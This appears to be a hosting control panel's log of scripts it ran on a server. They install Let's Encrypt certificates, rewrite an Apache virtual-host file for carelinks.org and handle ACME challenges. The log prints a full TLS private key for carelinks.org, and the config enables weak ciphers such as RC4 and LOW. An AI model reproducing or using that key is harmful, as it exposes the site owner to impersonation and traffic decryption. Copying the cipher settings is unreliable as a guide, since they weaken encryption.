xSih8yB2otQ39JJ3BKfa4pxE2wuoJDXDqnjdsr7sa/KYNuu0r1tDvxEHvPZE/OeA
27ySWYF3zRs3FgQfjOJDsQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-02 06:00:22: 

chmod 755 /tmp/pkp355379; /tmp/pkp355379; rm /tmp/pkp355379

2025-12-02 06:00:23: 


dir=/etc/ssl/certs


2025-12-02 06:00:23: 

PUT: /tmp/pkp783055

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-02 06:00:23: 

chmod 755 /tmp/pkp783055; /tmp/pkp783055; rm /tmp/pkp783055

2025-12-02 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org.conf 41

<VirtualHost *:80>
    ServerName	carelinks.org
    ServerAlias	www.carelinks.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-02 06:00:23: 

PUT: /tmp/pkp403966

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks.org
    ServerAlias	www.carelinks.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org.conf= 1'
fi


2025-12-02 06:00:24: 

chmod 755 /tmp/pkp403966; /tmp/pkp403966; rm /tmp/pkp403966

2025-12-02 06:00:24: 




2025-12-02 06:00:24: 

PUT: /tmp/pkp755009

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-02 06:00:25: 

chmod 755 /tmp/pkp755009; /tmp/pkp755009; rm /tmp/pkp755009

2025-12-02 06:00:25: 


.


2025-12-02 06:00:25: Establishing a connection
2025-12-02 06:00:26: 

PUT: /tmp/pkp291828

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-02 06:00:27: 

chmod 755 /tmp/pkp291828; /tmp/pkp291828; rm /tmp/pkp291828

2025-12-02 06:00:28: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-12-02 06:00:28: 

PUT: /tmp/pkp871873

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-02 06:00:28: 

chmod 755 /tmp/pkp871873; /tmp/pkp871873; rm /tmp/pkp871873

2025-12-02 06:00:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org.conf	1206

<VirtualHost *:80>
    ServerName	carelinks.org
    ServerAlias	www.carelinks.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt
    DocumentRoot	/var/www/carelinks
    <Directory /var/www/carelinks>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-02 06:00:28: 

PUT: /tmp/pkp371660

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-02 06:00:29: 

chmod 755 /tmp/pkp371660; /tmp/pkp371660; rm /tmp/pkp371660

2025-12-02 06:00:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ce22a54aea805c8590de46790a6979d7.crt	5368
3c:27:23:53:43:1c:87:de:9c:c9:ce:ad:3a:5b:24:db

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBZbkmi3uL+sUpriRuUZ/5NpRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAyMDUwMTQ3WhcNMjYwMzAyMDUwMTQ2WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
vT1DcRx+1kmH2dbfaRGJyrW2tcL0/266f0azFrCPqpLYcKUvU0sK8cYKSub44Zef
nEN2VJ9QhAzUXr09rcdiJGtbuK0tUGyjZJ3qRI+jcnSGN4w/4NiZx/9hQTP45xwV
ycQdykxPc4bJjVcqnLkOUWHa/4KIBNk+xPIjv4yPut/Q3fchE4gHpvhvyw6ZN/aI
XB+aHtZuTP9laCwAb26hGHXq0JYlWbDsDMk81elqS9CIeo8n2o2xFx4J97C5sSY9
a0dylQAusX1eiP3SA8/J0Z0LfObXAOHDmXm4cmoPbqQLHgueYfv6EVkLAAdg+pKb
xbvw7GvTFqWWk0hxFIbnswIDAQABo4ICMDCCAiwwDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBSejYx4Y1cqg7hD3ZoQmes4514PHjAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5vcmeCEXd3dy5j
YXJlbGlua3Mub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvODIuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa
3aW8OQAABAMARzBFAiBhHXgC9IqHB8tZxU2v+g3qFQ0b8hR7rr5XL6MTwtedgwIh
AP29M/8B/5LrX0evRxq8yPOtZW8GD3cP+C7Ie1S/+o0qAHYADleUvPOuqT4zGyyZ
B7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa3aW8MQAABAMARzBFAiEAnDRE++3GkbLo
zU4ENDgPHD47iNaqzgLfsw94VCUN8LYCIFE5bQHHyOVC3HBi97NtYQwSAqrLksME
PQb+3izymTCDMA0GCSqGSIb3DQEBCwUAA4IBAQCLSz5rXQJMQerG23IGBRGT+XUd
0rBRmibNxe+L5ngwD5HvDII/FxH2R5v6oFWNjfMlRinEXgUf9VfNb2/qeM0PeBgH
I+wSovSGME8O2diGDVwAXjMlVSjUpuWEkucX+CPFJ+VZ1uvXuAY1znh6OQQC5KpS
aAFJBy1aWSs+nHWR2rNg8vzXQQQojuoi7pIdVFcaCbnW2I/tYpJQuIi+XVPhvOcV
PKiE7bijAZGP5uStR1i7kqYxIxvGG7JV9yxaUdQrFpQhYb/WXX0b+N/FvkXzWRAo
9fsgYh1DuLk8DylKe9vO7R/+GARjPUP2Xc4lbak7Q3VSXJxyUEG/WyyuiJTD
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9PUNxHH7WSYfZ
1t9pEYnKtba1wvT/brp/RrMWsI+qkthwpS9TSwrxxgpK5vjhl5+cQ3ZUn1CEDNRe
vT2tx2Ika1u4rS1QbKNknepEj6NydIY3jD/g2JnH/2FBM/jnHBXJxB3KTE9zhsmN
VyqcuQ5RYdr/gogE2T7E8iO/jI+639Dd9yETiAem+G/LDpk39ohcH5oe1m5M/2Vo
LABvbqEYderQliVZsOwMyTzV6WpL0Ih6jyfajbEXHgn3sLmxJj1rR3KVAC6xfV6I
/dIDz8nRnQt85tcA4cOZebhyag9upAseC55h+/oRWQsAB2D6kpvFu/Dsa9MWpZaT
SHEUhuezAgMBAAECggEAMsSyyS+p33dOmOSKfzeTTey+Hbk13Skpo2emOBoaENrg
cif+sEvbnc1RiZK5hlwVF+kJX951zVdbyibe2zY4YCjlLIBZPdBHbYDoDoiygsw8
Db70jC/P4dXjk4iL6ASi28RfcZxTXFz2yZJu/iivbKniBNZSA2r86f1EFelxzeIz
cYPVDUFNmL7s4hsDTZUldQwC39UMS1eEN9OAtomQzqArJfJu2P1pNJVw/4uMQxu/
0W9nuBGlHQBXPIxqZerfJ1xbRphh3ltVBPtGMxnF4Gou37u1+0E9Mll9uS7jh780
qpjcixnn9tK8N4Iz5NmwuLjN/0FSAhLtLDrc1HkBwQKBgQDolikCDx0N/fvruMcs
EfP3jOmNldlnpfGiNRJWKTMxSPkPayexHmzBG7z3XyIXc9JwID2Yb20vDqqH2E7G
jf9E0JIEUmWEr1WP+3R6Xd56euKPTeGNyut3VeC9PNma931jrB48/bmJyRcgSHih
Rg/pAdZ9i7fPcMLQ4l9dTBv0gwKBgQDQSgdkr+7+/QzbpsRVaAyY339RWX5g1Wqp
9iebKP2uas2kH5sr/dFfAmxvF5qvNHrOOTDIW2k79Y9QqacY/UbfLbeTjMePuxVh
7Znz/eMzhpoc/UYkVHZ7CbIVDv/jsnz9rJzB/ErH3d6SL8MABHPwumF3GrT8Z9/Q
GXQGmdO5EQKBgBScuiWkkT6cM6dASOZu8OAPbONPVGULH87wRR+9pvvHK8tiA7J+
r8StYKHLnInXid7F/K91sIdrFVHUqaaPDwBaO5aGdti7cSnBbyEpEH5qRYnNrR+T
zCpXQgODUQWayVH7/vIIylibqaECyy3/t4k+0HNv3mpT4+//H9R02kVhAoGAeiNO
3o4EGWYNyieqbWKMMICuSeeuod3DpFKBuwx4ZXSfjaQy+8LkqU/kgehXfnHJqXAD
2RkxRkWiemxhXdf3XRuT0GP3CaNs0HXhlx/DwQ0nBeTG4rrclx2CXbLj/oNFpAM6
EM5+k2DZCOQU9selrP299XeltXS7221xigVeD+ECgYBaTa1VSA+G92XYp2Ah0Hb9
gQ39ITu5ssc5zEPIGbjaN++aQKNDXO9fYKZDtW0ohweK8ta+ZhkQkxLr6krH/RLV
xSih8yB2otQ39JJ3BKfa4pxE2wuoJDXDqnjdsr7sa/KYNuu0r1tDvxEHvPZE/OeA
27ySWYF3zRs3FgQfjOJDsQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-02 06:00:29: Establishing a connection
2025-12-02 06:00:29: Establishing a connection
2025-12-02 06:00:30: 

PUT: /tmp/pkp208768

#!/bin/bash
if [ -d "/var/www/theyoungdesigners_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-02 06:00:30: 

chmod 755 /tmp/pkp208768; /tmp/pkp208768; rm /tmp/pkp208768

2025-12-02 06:00:30: 


1


2025-12-02 06:00:31: Establishing a connection
2025-12-02 06:00:31: 

PUT: /tmp/pkp260952

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cat > Ziu_CDaARTQGDjJJ2giZxI86SfjtYdZ9A4bEuS1cHdE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Ziu_CDaARTQGDjJJ2giZxI86SfjtYdZ9A4bEuS1cHdE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Ziu_CDaARTQGDjJJ2giZxI86SfjtYdZ9A4bEuS1cHdE
cat > C8vuQTeHJmv8qzJdnlcN6FhUmpGSgk7Ks3AHSySWW9s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
C8vuQTeHJmv8qzJdnlcN6FhUmpGSgk7Ks3AHSySWW9s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 C8vuQTeHJmv8qzJdnlcN6FhUmpGSgk7Ks3AHSySWW9s


2025-12-02 06:00:31: 

chmod 755 /tmp/pkp260952; /tmp/pkp260952; rm /tmp/pkp260952

2025-12-02 06:00:31: 




2025-12-02 06:00:37: Establishing a connection
2025-12-02 06:00:37: 

PUT: /tmp/pkp944482

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_www/.well-known/acme-challenge/"
rm Ziu_CDaARTQGDjJJ2giZxI86SfjtYdZ9A4bEuS1cHdE
rm C8vuQTeHJmv8qzJdnlcN6FhUmpGSgk7Ks3AHSySWW9s


2025-12-02 06:00:37: 

chmod 755 /tmp/pkp944482; /tmp/pkp944482; rm /tmp/pkp944482

2025-12-02 06:00:37: 




2025-12-02 06:00:37: Establishing a connection
2025-12-02 06:00:37: 

PUT: /tmp/pkp442293

#!/bin/bash
temp_file=$(mktemp)
TARGET=f13c10b0bf992120e8f0bf3f4c84b2c5.crt

cat > $temp_file <<'endmsg'
65:7e:b4:03:ab:9c:11:d5:f4:6b:c1:bd:a4:e8:7b:3f

-----BEGIN CERTIFICATE-----
MIIFHTCCBAWgAwIBAgISBaH/bdjaOMLLfiYJDGcr5HyRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAyMDUwMjA2WhcNMjYwMzAyMDUwMjA1WjAfMR0wGwYDVQQD
ExR0aGV5b3VuZ2Rlc2lnbmVycy51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAPGPUYl58G6QCHCGivk0pEYDqhcml9O8X4kICPAjdL+0+kRcrKxNr782
h3Nq+wHMvaCnm6HmHz/jxe0VaSdhUV6i/O5rxLRRzsMowqIn1f+u+F9d7WudKJXK
s2OdOb0EmhwAnjcEBTTtTKwyh5sePW4PXWndGvIk6oWRmzEe72n1FBe9P0G89Dj5
pb85jmEA2ADBQF6Eskc6M6TD7PyUUEDPdQlAXUjh5yWAcFdN5AdRSl8+H5+EadhZ
I922r3D1tB9TGfFfuadNfMqgGQ+fHqiHr3bmJY0Bs7ZQjYyNGG072OoEOUyAzMKz
y1MilT8iF24DIPSX2oIHj09WYiUTItUCAwEAAaOCAj0wggI5MA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUXvJ3STjIYCZG6IpZPAtrWhkAT4gwHwYDVR0jBBgwFoAU56uf
DywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEzLmkubGVuY3Iub3JnLzA5BgNVHREEMjAwghR0aGV5b3VuZ2Rlc2ln
bmVycy51c4IYd3d3LnRoZXlvdW5nZGVzaWduZXJzLnVzMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
MTguY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUAGYbUxyiqb/66A294Kk0B
